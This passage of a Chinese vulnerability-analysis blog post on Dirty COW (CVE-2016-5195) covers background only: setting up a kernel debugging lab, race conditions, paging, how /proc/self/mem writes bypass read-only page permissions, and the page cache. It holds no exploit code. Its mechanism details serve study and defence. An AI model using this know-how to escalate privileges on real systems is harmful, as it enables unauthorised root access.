CVE-2016-5195 dirtycow linux本地提权漏洞分析
fa1lr4in Lv2

CVE-2016-5195 dirtycow linux本地提权漏洞分析

前言

脏牛(Dirty COW)漏洞名称源于linux内核的写时复制(Copy-on-Write)的首字母缩写。该漏洞于2016年10月18日由Phil Oester提交,并于2016年10月20日由Linus修复。该漏洞影响2.6.22到4.8.3, 4.7.9, 4.4.26之前的版本。影响版本可以参考

该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。从而修改任意文件,甚至低权限用户通过该漏洞可提升至root权限。

该漏洞为笔者在分析DirtyPipe后重温经典漏洞,该漏洞影响范围较大。参考了网络上公开的一些分析,发现有许多分析比较混乱,看完给人一头雾水的感觉。笔者尽量用简介与清晰的描述完成此篇分析。

比较推荐一篇精炼的分析。没有废话,全程干货。还有该文章写的也是不错的。

前置知识

零、前言

前置知识非必须,如果读者十分了解相关的机制,则可以直接查看漏洞分析的部分,笔者会用尽量精炼的语言和清晰的逻辑来阐述相关漏洞原理。

一、linux内核调试环境编译

搭建过程主要参考了该文章

0、严重的错误

在ubuntu20.04运行如下的安装步骤时会出现如下问题

image-20220419142819926

1
2
3
4
5
6
7
8
9
Booting from ROM...
early console in decompress_kernel
input_data: 0x000000000191524d
input_len: 0x00000000005e4b5c
output: 0x0000000001000000
output_len: 0x0000000000ee88b8
run_size: 0x0000000000ff4000

Decompressing Linux... Parsing ELF...

在qemu运行时将会一直卡在上面的界面上。

经过较长时间的寻找,在该博客中寻找到了解决方案,遂尝试从ubuntu18.04进行漏洞实验,环境搭建成功。

1、源码获取

首先拖源码与补丁(这里也可以下载其他版本)

1
2
3
4
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.4.1.tar.gz
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/patch-4.4.1.xz
tar zxvf linux-4.4.1.tar.gz
xz -d patch-4.4.1.xz | patch -p1 # 这里没有输出代表执行成功

2、内核编译

1
2
3
cd linux-4.4.1
make x86_64_defconfig # 加载默认config
make menuconfig # 自定义config

要进行打断点调试,需要关闭系统的随机化和开启调试信息:

1
2
3
4
5
6
7
8
9
10
11
12
Processor type and features  ---> 
[ ] Build a relocatable kernel
[ ] Randomize the address of the kernel image (KASLR) (NEW)


Kernel hacking --->
Compile-time checks and compiler options --->
[*] Compile the kernel with debug info
[ ] Reduce debugging information
[ ] Produce split debuginfo in .dwo files
[*] Generate dwarf4 debuginfo
[*] Provide GDB scripts for kernel debugging

之后进行编译

1
make -j32

如果遇到编译错误cc1: error: code model kernel does not support PIC mode,则在MakeFile中的KBUILD_CFLAGS选项中加入-fno-pie

image-20220411110701269

之后在进行make即可。

3、加载文件系统镜像

这里可以使用syzkaller的生成脚本

1
2
3
4
5
cd linux-4.4.1
sudo apt-get install debootstrap
wget https://github.com/google/syzkaller/blob/master/tools/create-image.sh -O create-image.sh # 这里我得到的是一个html页面,最终笔者自行访问页面复制了相关的代码。
chmod +x create-image.sh
./create-image.sh # 这里会在当前目录生成 stretch.img

4、启动qemu

这里的-nographic以及-s一定要加,执行命令后会启动生成的linux系统,并得到一个shell,这里可以不指定-net参数,默认会有一个NAT的网络,可以访问外网。

1
2
3
4
5
6
7
8
9
cd linux-4.4.1 &&
sudo qemu-system-x86_64 \
-s \
-kernel ./arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial"\
-drive file=./stretch.img,format=raw \
-nographic
-pidfile vm.pid \
2>&1 | tee vm.log

image-20220316173537546

命令行参数如下

1
2
3
4
5
6
-s              shorthand for -gdb tcp::1234
-append cmdline use 'cmdline' as kernel command line
-net nic[,macaddr=mac][,model=type][,name=str][,addr=str][,vectors=v]
configure or create an on-board (or machine default) NIC and
connect it to hub 0 (please use -nic unless you need a hub)
-enable-kvm 开启kvm,这里不要加,否则调试时会直接跳转到__sysvec_apic_timer_interrupt

5、gdb调试

1
2
3
4
cd linux-4.4.1
gdb vmlinux
gef➤ target remote:1234 # 连接到远程调试接口
# 后面就可以正常进行调试了

image-20220316174104667

二、条件竞争漏洞

1、定义

race-condition中文一般称为条件竞争,指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。

2、触发条件

由于目前的系统中大量采用并发编程,经常对资源进行共享,往往会产生条件竞争漏洞。当一个软件的运行结果依赖于进程或者线程的顺序时,就可能会出现条件竞争。简单考虑一下,可以知道条件竞争需要如下的条件

  • 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
  • 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  • 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

3、例子

由于在并发时,执行流的不确定性很大,条件竞争相对难察觉,并且在复现和调试方面会比较困难。这给修复条件竞争也带来了不小的困难。

条件竞争造成的影响也是多样的,轻则程序异常执行,重则程序崩溃。如果条件竞争漏洞被攻击者利用的话,很有可能会使得攻击者获得相应系统的特权。

这里举一个简单的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <pthread.h>
#include <stdio.h>

int counter;
void *IncreaseCounter(void *args) {
counter += 1;
sleep(0.1);
printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(),
counter);
}

int main() {
pthread_t p[10];
for (int i = 0; i < 10; ++i) {
pthread_create(&p[i], NULL, IncreaseCounter, NULL);
}
for (int i = 0; i < 10; ++i) {
pthread_join(p[i], NULL);
}
return 0;
}

一般来说,我们可能希望按如下方式输出

1
2
3
4
5
6
7
8
9
10
11
➜  005race_condition ./example1
Thread 1859024640 has counter value 1
Thread 1841583872 has counter value 2
Thread 1832863488 has counter value 3
Thread 1824143104 has counter value 4
Thread 1744828160 has counter value 5
Thread 1736107776 has counter value 6
Thread 1727387392 has counter value 7
Thread 1850304256 has counter value 8
Thread 1709946624 has counter value 9
Thread 1718667008 has counter value 10

但是,由于条件竞争的存在,最后输出的结果往往不尽人意

1
2
3
4
5
6
7
8
9
10
11
➜  005race_condition ./example1
Thread 1417475840 has counter value 2
Thread 1408755456 has counter value 2
Thread 1391314688 has counter value 8
Thread 1356433152 has counter value 8
Thread 1365153536 has counter value 8
Thread 1373873920 has counter value 8
Thread 1382594304 has counter value 8
Thread 1400035072 has counter value 8
Thread 1275066112 has counter value 9
Thread 1266345728 has counter value 10

仔细思考一下条件竞争为什么可能会发生呢?以下面的为具体的例子

  • 程序首先执行了 action1,然后执行了 action2。其中 action 可能是应用级别的,也可能是操作系统级别的。正常来说,我们希望程序在执行 action2 时,action1 所产生的条件仍然是满足的。
  • 但是由于程序的并发性,攻击者很有可能可以在 action2 执行之前的这个短暂的时间窗口中破坏 action1 所产生的条件。这时候攻击者的操作与 action2 产生了条件竞争,所以可能会影响程序的执行效果。

img

所以问题的根源在于程序员虽然假设某个条件在相应时间段应该是满足的,但是往往条件可能会在这个很小的时间窗口中被修改。虽然这个时间的间隔可能非常小,但是攻击者仍然可能可以通过执行某些操作(如计算密集型操作,Dos 攻击)使得受害机器的处理速度变得相对慢一些。

4、形式

常见的条件竞争有以下形式。

CWE-367: TOCTOU Race Condition
描述

TOCTOC (Time-of-check Time-of-use) 指的是程序在使用资源(变量,内存,文件)前会对进行检查,但是在程序使用对应的资源前,该资源却被修改了。

img

下面给出一些更加具体的例子。

CWE-365: Race Condition in Switch

当程序正在执行 switch 语句时,如果 switch 变量的值被改变,那么就可能造成不可预知的行为。尤其在 case 语句后不写 break 语句的代码,一旦 switch 变量发生改变,很有可能会改变程序原有的逻辑。

我们知道 Linux 中提供了两种对于文件的命名方式

  • 文件路径名
  • 文件描述符

但是,将这两种命名解析到相应对象上的方式有所不同

  • 文件路径名在解析的时候是通过传入的路径(文件名,硬链接,软连接)间接解析的,其传入的参数并不是相应文件的真实地址 (inode)。
  • 文件描述符通过访问直接指向文件的指针来解析。

正是由于间接性,产生了上面我们所说的时间窗口。

以下面的代码为例子,程序在访问某个文件之前,会检查是否存在,之后会打开文件然后执行操作。但是如果在检查之后,真正使用文件之前,攻击者将文件修改为某个符号链接,那么程序将访问错误的文件。

img

这种条件竞争出现的问题的根源在于文件系统中的名字对象绑定的问题。而下面的函数都会使用文件名作为参数:access(), open(), creat(), mkdir(), unlink(), rmdir(), chown(), symlink(), link(), rename(), chroot(),…

那该如何避免这个问题呢?我们可以使用 fstat 函数来读取文件的信息并把它存入到 stat 结构体中,然后我们可以将该信息与我们已知的信息进行比较来判断我们是否读入了正确的信息。其中,stat 结构体中的 st_inost_dev 变量可以唯一表示文件

  • st_ino ,包含了文件的序列号,即 i-node
  • st_dev ,包含了文件对应的设备。

img

CWE-364: Signal Handler Race Condition
概述

条件竞争经常会发生在信号处理程序中,这是因为信号处理程序支持异步操作。尤其是当信号处理程序是不可重入的或者状态敏感的时候,攻击者可能通过利用信号处理程序中的条件竞争,可能可以达到拒绝服务攻击和代码执行的效果。比如说,如果在信号处理程序中执行了 free 操作,此时又来了一个信号,然后信号处理程序就会再次执行 free 操作,这时候就会出现 double free 的情况,再稍微操作一下,就可能可以达到任意地址写的效果了。

一般来说,与信号处理程序有关的常见的条件竞争情况有

  • 信号处理程序和普通的代码段共享全局变量和数据段。
  • 在不同的信号处理程序中共享状态。
  • 信号处理程序本身使用不可重入的函数,比如 malloc 和 free 。
  • 一个信号处理函数处理多个信号,这可能会进而导致 use after free 和 double free 漏洞。
  • 使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。
线程安全与可重入

这里说明一下线程安全与可重入的关系。

  • 线程安全
    • 即该函数可以被多个线程调用,而不会出现任何问题。
    • 条件
      • 本身没有任何共享资源
      • 有共享资源,需要加锁。
  • 可重用
    • 一个函数可以被多个实例可以同时运行在相同的地址空间中。
    • 可重入函数可以被中断,并且其它代码在进入该函数时,不会丢失数据的完整性。所以可重入函数一定是线程安全的。
    • 可重入强调的是单个线程执行时,重新进入同一个子程序仍然是安全的。
    • 不满足条件
      • 函数体内使用了静态数据结构,并且不是常量
      • 函数体内使用了 malloc 或者 free 函数
      • 函数使用了标准 IO 函数。
      • 调用的函数不是可重入的。
    • 可重入函数使用的所有变量都保存在调用栈的当前函数栈(frame)上。

5、防范

如果想要消除条件竞争,那么首要的目标是找到竞争窗口(race windows)。

所谓竞争窗口,就是访问竞争对象的代码段,这给攻击者相应的机会来修改相应的竞争对象。

一般来说,如果我们可以使得冲突的竞争窗口相互排斥,那么就可以消除竞争条件。

同步原语

一般来说,我们会使用同步原语来消除竞争条件。常见的如下

  • 锁变量
    • 通常互斥琐,在等待期间放弃 CPU,进入 idle 状态,过一段时间自动尝试。
    • 自旋锁(spinlock),在等待期间不放弃 CPU,一直尝试。
  • 条件变量
    • 条件变量是用来等待而不是用来上锁的。条件变量用来自动阻塞一个线程,直到某特殊情况发生为止。通常条件变量和互斥锁同时使用。
  • 临界区对象,CRITICAL_SECTION
  • 信号量(semaphore),控制可访问某个临界区的线程数量,一般比 1 大。
  • 管道,指用于连接一个读进程和一个写进程以实现它们之间通信的一个共享文件。其生存期不超过创建管道的进程的生存期。
  • 命名管道,生存期可以与操作系统运行期一样长。
1
2
3
4
5
6
# 创建管道
mkfifo my_pipe
# gzip从给定的管道中读取数据,并把数据压缩到out.gz中
gzip -9 -c < my_pipe > out.gz &
# 给管道传输数据
cat file > my_pipe

仍要注意同步原语可能造成死锁的问题。

三、虚拟内存

由于物理内存是有限的,且直接通过操作物理内存并不是特别方便,在编写大型程序时尤为明显,所以目前操作系统都采用虚拟内存的技术。

虚拟内存技术可以使多个进程共享同一个运行库,并通过分割不同进程的内存空间来提高系统的安全性。进程自己的视角来看的内存是独立的,每个进程都可以全部的4G内存空间(32位下)。

而且进程的虚拟内存空间会被分成不同的若干区域,每个区域都有其相关的属性和用途,一个合法的地址总是落在某个区域当中的,这些区域也不会重叠。在linux内核中,这样的区域被称之为虚拟内存区域(virtual memory areas,简称 VMA)。可以通过虚拟文件系统中的/proc/self/maps 即可查看当前进程的VMA,或者通过gdb的vmmap命令:

下面这个就是VMA

1
2
3
4
5
6
7
8
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080eb000 r-xp /mnt/hgfs/桌面/pwnable/calc/calc
0x080eb000 0x080ed000 rw-p /mnt/hgfs/桌面/pwnable/calc/calc
0x080ed000 0x08111000 rw-p [heap]
0xf7ff9000 0xf7ffc000 r--p [vvar]
0xf7ffc000 0xf7ffe000 r-xp [vdso]
0xfffdd000 0xffffe000 rw-p [stack]

在这个机制下,每个进程都有了自己的虚拟地址空间,但是最终还是要真正的存储在物理的内存上,所以虚拟空间中的地址一定与物理内存有一定的对应关系。在x86架构上,硬件有两种机制支持这种映射,即段式内存访问和页式内存访问,两种几乎为竞争关系。发展到现在,结果毋庸置疑,页式完胜。到了x64,段式内存访问就基本退出了历史舞台了。但是段寄存器仍然肩负着特权级保护的作用。所以这里我们主要介绍页式内存管理。

1、段寄存器

前言

主要参考了[7]与[8],段寄存器实际上是一种历史技术,在现在(x64系统)的应用场景中显得有些多余,但对历史解决寻址问题做出了比较大的贡献。

产生

段寄存器的产生源于Intel 8086 CPU体系结构中数据总线与地址总线的宽度不一致。

16位CPU

8086处理器位数为16位,但是地址总线却为20根。为了能够访问到整个地址空间,在CPU里添加了4个段寄存器,分别为CS(代码段寄存器)DS(数据段寄存器) SS(堆栈段寄存器)ES(扩展数据段寄存器)。所以段寄存器就是为了解决CPU位数和地址总线不同的问题而诞生的。

Intel通过段寄存器寻址的方法是:通过4个段寄存器,CS,DS,ES和SS,把内存分为很多段,每一段有一个段基址,当然段基址也是一个20位的内存地址。不过段寄存器仍然是16位的,它的内容代表了段基址的高16位,这个16位的地址后面再加上4个0就构成20位的段基址。而原来的16位地址只是段内的偏移量。这样,一个完整的物理内存地址就由两部分组成,高16位的段基址和低16位的段内偏移量,当然它们有12位是重叠的,它们两部分相加在一起,才构成完整的物理地址。

Base b15 ~ b12 b11 ~ b0

Offset o15 ~ o4 o3 ~ o0

Address a19 ~ a0

这种寻址模式也就是“实地址模式”。在8086中,段寄存器还只是一个单纯的16位寄存器,而且操作寄存器的指令也不是特权指令。通过设置段寄存器和段内偏移,程序就可以访问整个物理内存,无安全性可言。

总之一句话,段寄存器的设计是一个权宜之计,现在看来可以说是一个临时性的解决方案,设计它的目的是为了把地址空间从64KB扩展为1MB,仅此而已。但是它的加入却为日后Intel系列芯片的发展带来诸多不便,也为理解i386体系带来困扰。

32位CPU

到了我们处理器80386时候(保护模式),这时候cpu是32位,地址总线变成了32根,这时的寻址能力已经足够用,已经不再需要段寄存器来帮助扩展。但这时Intel已经无法把段寄存器从产品中去掉,因为新的CPU也是产品系列中的一员,根据兼容性的需要,段寄存器必须保留下来。除了先前的4个段寄存器CS DS SS ES,还引入了两个新的段寄存器FS、GS(附加数据段寄存器)。为了兼容性开率,他们均是16比特位宽。

很明显16比特位宽并不能很好的描述32位CPU的地址。这个时候增加了两个寄存器,GDTR(全局的段的描述附表),LDTR(局部的描述附表),他们分别指向了GDT(Global Descriptor Table)和LDT(Local Descriptor Table)。段描述符存储在 GDT 或者 LDT 中。GDT 或者 LDT 结构中包含基地址、段长度等信息。段寄存器CS DS SS ES存放的是段描述符在GDT或LDT内的索引值(index)。GDT 或者 LDT 中的基地址加上指令中的偏移量就可以得到需要的线性地址。如下

1
线性地址 = [ 段描述符 ]+段内偏移量

备注:由于每个进程都可以有 LDT,而 GDT 只有一个,为满足需求 Intel 的做法是将 LDT 嵌套在 GDT 表中。

可以看到,32位操作系统中仍是段页式内存管理并存。

64位CPU

在64位模式下:处理器把CS/DS/ES/SS的段基都当作0,忽略与之关联的段描述符中的段基地址。因为在64位模式中,CPU可以访问所有可寻址的内存空间。今天大多数的64位CPU只需要访问40位到48位的物理内存,因此不再需要段寄存器去扩展。页式存管本身是与段式存管分立的,两者没有什么关系。但对于Intel来说,同样是由于“段寄存器”这个历史的原因,它必须把页式存管建立在段式存管的基础之上,尽管这从设计的角度来说这是没有道理,也根本没有必要的。

CPU寻址与地址转换总结

【1】首先在16位或者更早的Intel CPU上,CPU工作在实模式,即直接使用物理地址,没有OS虚拟地址的概念。因此,在这些平台上,进行访问的线性地址 = 物理地址:

img

【2】在IA32上,x86工作在保护模式下时,分段单元将逻辑地址转换成线性地址,分页单元(MMU开启情况下)将线性地址转换成物理地址。当CPU启用了MMU,CPU核发出的地址将被MMU截获,从CPU到MMU的地址称为虚拟地址(Virtual Address,以下简称VA),而MMU将这个地址翻译成另一个地址发到CPU芯片的外部地址引脚上,也就是将虚拟地址映射成物理地址:

img

【3】在x86_64上,处理器把CS/DS/ES/SS的段基都当作0,实际上摒弃了段式管理,不再使用。指令中使用的地址就是线性地址,当CPU开启MMU时,通过页式管理单元翻译成物理地址:

img

做个表格来体现一下

CPU位数 16位 32位 64位
内存管理方式 段式内存管理 段页式内存管理 页式内存管理
疑问

问:为什么32位CPU对应了32位总线仍需要段寄存器参与呢?

答:为了兼容保护模式的需要,通过段寄存器可以对内存做更细粒度的权限控制

2、页式内存管理

页式内存管理中把虚拟内存和物理内存都划分为长度大小固定的页,把虚拟内存页和真实的物理内存页的对应关系存储成一张表,就是页表,可以把页表想象成存放在内存中的一个大数组。

这个页表是每个进程都有的一个大数组,操作系统将这个大数组的起始地址存储到页表基址寄存器。这样即可通过查询页表将进程虚拟空间中的逻辑地址转换为内存条上的物理地址。使能页机制后,不仅能使进程获得相对独立的虚拟内存空间,而且通过对页表的结构设计出相应的权限控制,更安全的管理内存。

实际上就是一种细粒度的虚拟内存管理方式,更加合理有效的提高了内存的利用率。根据局部性原理,我们只需要在内存中保存少部分的页,大部分的页都可以换到磁盘中去。

YssggO.png

3、缺页中断

由于物理内存是有限的,操作系统会给某个进程分配固定数量的页框供进程使用,所以进程用到的逻辑页面的个数肯定要比分配到的物理页框的个数要多,但因为程序的执行是有空间局部性和时间局部性,所以在时间维度上可以暂时将不需要的页面从物理页框中换出到磁盘上(注意:这里出现了外部存储设备!),但是在逻辑内存空间中,即进程自己看到的内存空间中,进程自己是感受不到的,进程自己觉得自己的4G内存空间用的非常好。当进程访问到一个逻辑页面时,操作系统去查页表,发现这个逻辑页面不在内存中,那么则会去磁盘上找到刚才换出的页面,重新加载到内存,然后修好页表,然后重新去用逻辑地址查找这个物理地址,这个过程就是缺页中断。

简单来说就是缺页时将页从磁盘恢复到主存的过程。

不过这只是缺页中断的一种情况,在liunx的内存管理中,可能还会有其他情况也会出现缺页中断,例如首次访问某个逻辑地址时,或者需要触发写时复制时等等。

4、/proc/self/mem

整体总结:/proc/self/mem是当前进程的内存映射,对/proc/self/mem写可以对用户空间中的只读内存进行写入。可以写入只读内存基于的理念为内存权限的概念纯粹是对虚拟内存的约束,和物理内存无关。对/proc/self/mem写入的过程首先绕过MMU通过通过软件页表遍历将虚拟地址转换为物理地址,且遵循写时复制(COW)的概念,之后将物理地址映射到内核的可写内存中,之后对这块可写内存进行memcpy写入。

详细过程参考该文章

proc

proc文件系统是一个伪文件系统,它为内核数据结构提供接口。它通常安装在/proc。通常,它是由系统自动挂载的,但也可以使用如下命令手动挂载:

1
mount -t proc proc /proc 

proc文件系统中的大部分文件是只读的,但有些文件是可写的,允许要更改的内核变量。

/proc/self

当进程访问这个神奇的符号链接时,它解析到进程自己的/proc/[pid]目录。

/proc/[pid]/mem

该文件可通过open(2),read(2)和lseek(2)用于访问进程的页面内存。访问此文件的权限由 ptrace 管理访问模式PTRACE_MODE_ATTACH_FSSCREDS检查;见ptrace(2)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PTRACE_MODE_ATTACH_FSCREDS
Defined as PTRACE_MODE_ATTACH | PTRACE_MODE_FSCREDS.


PTRACE_MODE_ATTACH
For "write" operations, or other operations that are more
dangerous, such as: ptrace attaching (PTRACE_ATTACH) to
another process or calling process_vm_writev(2).
(PTRACE_MODE_ATTACH was effectively the default before
Linux 2.6.27.)

PTRACE_MODE_FSCREDS
Use the caller's filesystem UID and GID (see
credentials(7)) or effective capabilities for LSM checks.

该文件是一个指向当前进程的虚拟内存文件的文件,当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间,并无视内存映射时的权限设置。也就是说我们可以利用写/proc/self/mem来改写不具有写权限的虚拟内存。可以这么做的原因是/proc/self/mem是一个文件,只要进程对该文件具有写权限,那就可以随便写这个文件了,只不过对这个文件进行读写的时候需要一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。

我对上面的/proc/self/mem的无视权限进行写入的表达是存疑的,这使得我又去网络上找到了相关的资料,参考[14]。那么为什么可以这么做呢?首先了解一下限制内核访问内存的措施。

限制内核访问内存的措施

首先在 x86-64 上有两个 CPU 选项控制内核访问内存的能力。且它们由内存管理单元 (MMU) 强制执行。

第一个设置是写保护位 (CR0.WP)。来自英特尔手册第 3 卷第 2.5 节:

Write Protect (bit 16 of CR0) — When set, inhibits supervisor-level procedures from writing into read- only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6).

大意是当该位置为1时将禁止管理员程序写入只读界面;当置为0时则允许管理员程序对制度页面的写入。

第二个设置是限制内核对用户内存的访问 (SMAP) (CR4.SMAP)。在英特尔手册第 3 卷第 4.6 节中的完整描述是很冗长的,但执行摘要的描述表示SMAP 完全禁用了内核读取或写入用户空间内存的能力。这为在用户空间中填充恶意数据使内核在利用期间读取的安全漏洞利用带来阻碍。

如果有问题的内核代码仅使用经过批准的通道来访问用户空间(copy_to_user 等),则可以忽略 SMAP——这些函数会在访问内存之前和之后自动切换 SMAP。但是如何绕过写保护?

清除 CR0.WP 后,/proc/*/mem 的内核实现确实能够直接地写入不可写的用户空间内存。

但是,CR0.WP默认为1,并且通常在系统的生命周期内保持设置。在这种情况下,将触发页面错误以响应写入。作为一种促进写时复制的工具而不是安全边界,这对内核没有任何真正的限制。也就是说,它确实需要故障处理的不便,否则这是不必要的。

考虑到这一点,让我们查看一下实现。

绕过写保护位 (CR0.WP)

CR0.WP通过MMU进行检查,那我们直接绕过MMU即可,MMU用于虚拟内存“翻译”为物理内存。那么内核自己实现这样一套过程就可以绕过这个限制。

  1. 调用 get_user_pages_remote() 查找目标虚拟地址对应的物理帧。
  2. 调用 kmap() 将该帧映射到内核的可写虚拟地址空间。
  3. 调用 copy_to_user_page() 以最终执行写入。

首先**get_user_pages_remote()**:该函数最关键的功能就是将虚拟地址转化为物理地址,而这正是 get_user_pages() 系列函数所提供的。这些函数通过遍历页表来查找支持给定虚拟地址范围的物理内存帧。他们还处理访问验证和不存在的页面。其中FOLL_FORCE标志尤其重要。当其置为,则内核函数忽略不可写页面的写入并继续查找。

之后**kmap()**函数将物理帧映射到内核的虚拟地址空间中,并具有可写权限,在 64 位 x86 上,所有物理内存都通过内核虚拟地址空间的线性映射区域进行映射。在这种情况下,kmap() 是微不足道的——它只需要将线性映射的起始地址添加到帧的物理地址即可计算帧映射到的虚拟地址。而在 32 位 x86 上,线性映射包含物理内存的子集,因此 kmap() 可能需要通过分配 highmem 内存和操作页表来映射帧。在这两种情况下,线性映射highmem映射都分配有PAGE_KERNEL保护,即 RW。

最后**copy_to_user_page()**执行写入。本质上是一个memcpy

讨论

这个实现的有趣之处在于它不涉及 CR0.WP。该实现通过利用它没必要通过从用户空间接收的指针访问内存这一事实巧妙地回避了内存权限的限制。由于内核完全控制着虚拟内存,它可以简单地将物理帧重新映射到自己的虚拟地址空间中,具有任意权限,并按照自己的意愿对其进行操作。

这很重要:保护内存页面的权限与用于访问该页面的虚拟地址相关联,而不是与支持该页面的物理框架相关联。实际上,内存权限的概念纯粹是对虚拟内存的考虑,与物理内存无关。

四、linux I/O

1、page cache

考虑到这样一个场景,在现有的linux环境下,当我们使用write/read进行读写文件时,我们操作的是磁盘文件吗?

带着这个疑问,我们思考一下,当涉及到文件操作时,操作系统必须解决两个严重的问题:

  1. 当操作系统读做数据的访问操作时,对磁盘的访问速度远小于内存,文件越大,效果越明显。
  2. 当多个进程均访问同一个磁盘文件的内容时,由于进程数据隔离,不可能将文件内容在所有进程都拷贝一份。如果您使用 Process Explorer查看 Windows 进程,您会看到每个进程中加载了大约 15MB 的常用 DLL。我的 Windows 机器现在正在运行 100 个进程,因此如果不共享,我将使用高达 ~1.5 GB 的物理 RAM来处理常见的 DLL

基于上面的观点,对内存的访问相较于对磁盘的访问来说更高效。

但是内存是有限的,我们不可能将磁盘上所有的内容都放入内存中,这时就需要对放入内存中的磁盘文件进行筛选。这时Page cache应运而生。

在计算机,page cache,有时也称为disk cache,它是一种透明缓存,用于存储源自二级存储设备(如硬盘驱动器(HDD) 或固态驱动器(SSD))的页面。操作系统在主内存(RAM)的其他未使用部分中保留页面缓存,从而更快地访问缓存页面的内容并提高整体性能。页面缓存在内核中通过分页内存管理实现,并且对应用程序几乎是透明的。

由于硬盘和内存的读写性能差距巨大,Linux默认情况是以异步方式读写文件的。比如调用系统函数open()打开或者创建文件时缺省情况下是带有O_ASYNC flag的。Linux借助于内核的page cache来实现这种异步操作。引用《Understanding the Linux Kernel, 3rd Edition》中关于page cache的定义:

The page cache is the main disk cache used by the Linux kernel. In most cases, the kernel refers to the page cache when reading from or writing to disk. New pages are added to the page cache to satisfy User Mode processes’s read requests. If the page is not already in the cache, a new entry is added to the cache and filled with the data read from the disk. If there is enough free memory, the page is kept in the cache for an indefinite period of time and can then be reused by other processes without accessing the disk.
Similarly, before writing a page of data to a block device, the kernel verifies whether the corresponding page is already included in the cache; if not, a new entry is added to the cache and filled with the data to be written on disk. The I/O data transfer does not start immediately: the disk update is delayed for a few seconds, thus giving a chance to the processes to further modify the data to be written (in other words, the kernel implements deferred write operations).

也就是说,我们平常向硬盘写文件时,默认异步情况下,并不是直接把文件内容写入到硬盘中才返回的,而是成功拷贝到内核的page cache后就直接返回,所以大多数情况下,硬盘写操作不会是性能瓶颈。写入到内核page cache的pages成为dirty pages,稍后会由内核线程pdflush真正写入到硬盘上。

从硬盘读取文件时,同样不是直接把硬盘上文件内容读取到用户态内存,而是先拷贝到内核的page cache,然后再“拷贝”到用户态内存,这样用户就可以访问该文件。因为涉及到硬盘操作,所以第一次读取一个文件时,不会有性能提升;不过,如果一个文件已经存在page cache中,再次读取该文件时就可以直接从page cache中命中读取不涉及硬盘操作,这时性能就会有很大提高。

下面用dd比较下异步(缺省模式)和同步写硬盘的速度差别:

1
2
3
4
5
6
7
8
$ dd if=/dev/urandom of=async.txt bs=64M count=16 iflag=fullblock
16+0 records in
16+0 records out
1073741824 bytes (1.1 GB, 1.0 GiB) copied, 7.618 s, 141 MB/s
$ dd if=/dev/urandom of=sync.txt bs=64M count=16 iflag=fullblock oflag=sync
16+0 records in
16+0 records out
1073741824 bytes (1.1 GB, 1.0 GiB) copied, 13.2175 s, 81.2 MB/s

page cache除了可以提升和硬盘交互性能外,下面继续讨论page cache功能。

(1)如果程序crash,异步模式会丢失数据吗?

比如存在这样的场景:一批数据已经成功写入到page cache,这时程序突然crash,但是在page cache里的数据还没来得及被pdflush写回到硬盘,这批数据会丢失吗?
答案是,要看具体情况:

  1. 如果OS没有crash或者重启的话,仅仅是写数据的程序crash,那么已经成功写入到page cache中的dirty pages是会被pdflush在合适的时机被写回到硬盘,不会丢失数据;
  2. 如果OS也crash或者重启的话,因为page cache存放在内存中,一旦断电就丢失了,那么就会丢失数据。
    至于这种情况下,会丢失多少数据,主要看系统重启前有多少dirty pages被写入到硬盘,已经成功写回硬盘的就不会丢失;没来得急写回硬盘的数据就彻底丢失了。这也是异步写硬盘的一个潜在风险。
    同步写硬盘时就不存在这种丢数据的风险。同步写操作返回成功时,能保证数据一定被保存在硬盘上了。

引用RocksDB wiki中关于“Asynchronous Writes”描述:

Asynchronous writes are often more than a thousand times as fast as synchronous writes. The downside of asynchronous writes is that a crash of the machine may cause the last few updates to be lost. Note that a crash of just the writing process (i.e., not a reboot) will not cause any loss since even when sync is false, an update is pushed from the process memory into the operating system before it is considered done.

那么如何避免因为系统重启或者机器突然断电,导致数据丢失问题呢?
可以借助于WAL(Write-Ahead Log)技术。

WAL技术在数据库系统中比较常见,在数据库中一般又称之为redo log,Linux 文件系统ext3/ext4称之为journaling。WAL作用是:写数据库或者文件系统前,先把相关的metadata和文件内容写入到WAL日志中,然后才真正写数据库或者文件系统。WAL日志是append模式,所以,对WAL日志的操作要比对数据库或者文件系统的操作轻量级得多。如果对WAL日志采用同步写模式,那么WAL日志写成功,即使写数据库或者文件系统失败,可以用WAL日志来恢复数据库或者文件系统里的文件。

(2)查看一个文件占用page cache情况

可以借助于vmtouch工具:

vmtouch is a tool for learning about and controlling the file system cache of unix and unix-like systems.

image-20220329165324080

(3)一些注意点

由于缓存页面可以很容易地被驱逐和重用,一些操作系统,特别是Windows NT,甚至将页面缓存使用情况报告为“可用”内存,而内存实际上是分配给磁盘页面的。这导致了一些关于在 Windows 中使用页面缓存的混乱。

cache也容易产生测信道攻击,由于page cache与磁盘文件有pdflush措施,一般磁盘文件都有着严格的权限分离措施,所以page cache可能存在某些文件页面可以绕过权限分离并泄露有关其他进程的数据。这里的内容比较多,就不展开了。

2、mmap

这里可以简单提一下linux I/O相关。

(1)传统的文件传输

如果服务端要提供文件传输的功能,我们能想到的最简单的方式是:将磁盘上的文件读取出来,然后通过网络协议发送给客户端。

传统 I/O 的工作方式是,数据读取和写入是从用户空间到内核空间来回复制,而内核空间的数据是通过操作系统层面的 I/O 接口从磁盘读取或写入。

